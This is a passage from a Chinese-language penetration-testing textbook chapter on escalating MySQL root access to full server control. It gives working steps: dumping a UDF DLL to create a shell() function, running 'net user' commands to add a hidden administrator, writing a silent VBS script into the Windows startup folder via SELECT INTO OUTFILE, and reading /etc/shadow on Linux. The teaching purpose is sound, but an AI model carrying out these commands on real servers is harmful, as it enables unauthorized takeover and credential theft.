3.10 MySQL数据库提权

MySQL数据库是目前使用最多的数据库之一,其流行的架构为PHP+MySQL+ Apache,支持Linux和Windows操作系统。在Web渗透过程中,通过WebShell有可能获得MySQL的安装目录,通过下载MySQL数据库的user.myd表,能够方便地破解root用户的密码。root用户的密码还可能从网页脚本文件中获得。以root用户的身份可以直接登录数据库。在获得root用户的密码后,通过导出udf.dll函数,在条件合适的情况下,可以获得服务器权限。

下面以一个实例来介绍如何通过MySQL的root用户进行提权。

3.10.1 设置MySQL提权脚本文件

将MySQL提权脚本文件上传到服务器,运行后需要对IP地址、UID、密码、数据库进行配置。如图3-77所示,IP地址一般可以设置为localhost、127.0.0.1及真实的IP地址,UID默认为root,其他具有root用户权限的用户名称也可以使用,密码为具有root权限的用户的密码,数据库默认选择MySQL数据库,单击“提交查询内容”按钮进行连接测试。

0172-1

图3-77 设置MySQL提权脚本文件

3.10.2 进行连接测试

连接成功后,会给出相应的提示,如图3-78所示,包括用户、数据库、数据目录(datadir)、基本目录(basedir)、版本、插件路径、MySQL函数等信息。

0172-2

图3-78 连接测试

3.10.3 创建shell函数

单击“Dump UDF”按钮将UDF.DLL文件导出到默认的插件目录下,单击“Create Function”按钮创建shell函数。如图3-79所示,如果前面已经创建了shell函数,会提示该函数已经存在。

0173-1

图3-79 创建shell函数

3.10.4 查看用户

在查询文本框中输入“select shell('cmd','net user')”,查看系统中所有的用户。如图3-80所示,可以正常查看系统中的所有用户信息。

0173-2

图3-80 查看用户

3.10.5 创建具有管理员权限的用户

分别在查询文本框中输入脚本“select shell('cmd','net user temp temp123456')”、“select shell('cmd', 'net localgroup administrators temp /add ')”并执行该查询命令,如果执行成功,则表示在系统中添加用户“temp”,密码为“temp123456”,同时将该用户添加到管理员组中,使其具备管理员权限,执行成功后如图3-81和图3-82所示。

0174-1

图3-81 添加temp用户

0174-2

图3-82 将temp用户添加到管理员组

3.10.6 提权成功

0174-3

图3-83 查看管理员用户

在SQL查询文本框中输入“select shell('cmd','net localgroup administrators')”命令查看刚才添加的用户是否添加成功,如图3-83所示,查询结果表明已经将temp用户添加到管理员组中。

目前很多网站都会提供远程终端服务,只要用户添加成功,就可以直接登录该服务器。如图3-84所示,输入用户名和密码,成功进入该服务器,至此,就通过MySQL的root用户成功提权。

0175-1

图3-84 成功进入服务器

3.10.7 小结

通过本例中的方法可以快速将WebShell权限提升到服务器权限。当然,还有其他方法可以通过MySQL提权。下面对经常用到的一些有关MySQL的提权命令和方法进行总结。

1.UDF提权的常用命令

UDF提权的常用命令如下。

2.VBS启动项提权

先通过WebShell连接数据库,通过建立表a将VBS脚本写入表中,然后导入启动项。该脚本仅对中文版本有效,如果使用其他语言版本的操作系统,仅需对“C:\\ Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs”这个脚本进行相应更改。在VBS脚本后面有一个“0”,表示不弹出CMD窗口,以静默模式运行。该方法是在通过UDF提权失败的情况下,将VBS插入启动项中,待系统重启后将自动添加一个用户,示例如下。

create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user antian 123!@#$% 
/add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup 
administrators antian /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开
始」菜单\\程序\\启动\\a.vbs"; 

3.Linux下的MySQL提权

Linux下的MySQL提权命令如下。

mysql -h localhost -uroot -p 
system useradd hacker 
system passwd hacker 
system tail -l /etc/passwd 
system tail -l /etc/shadow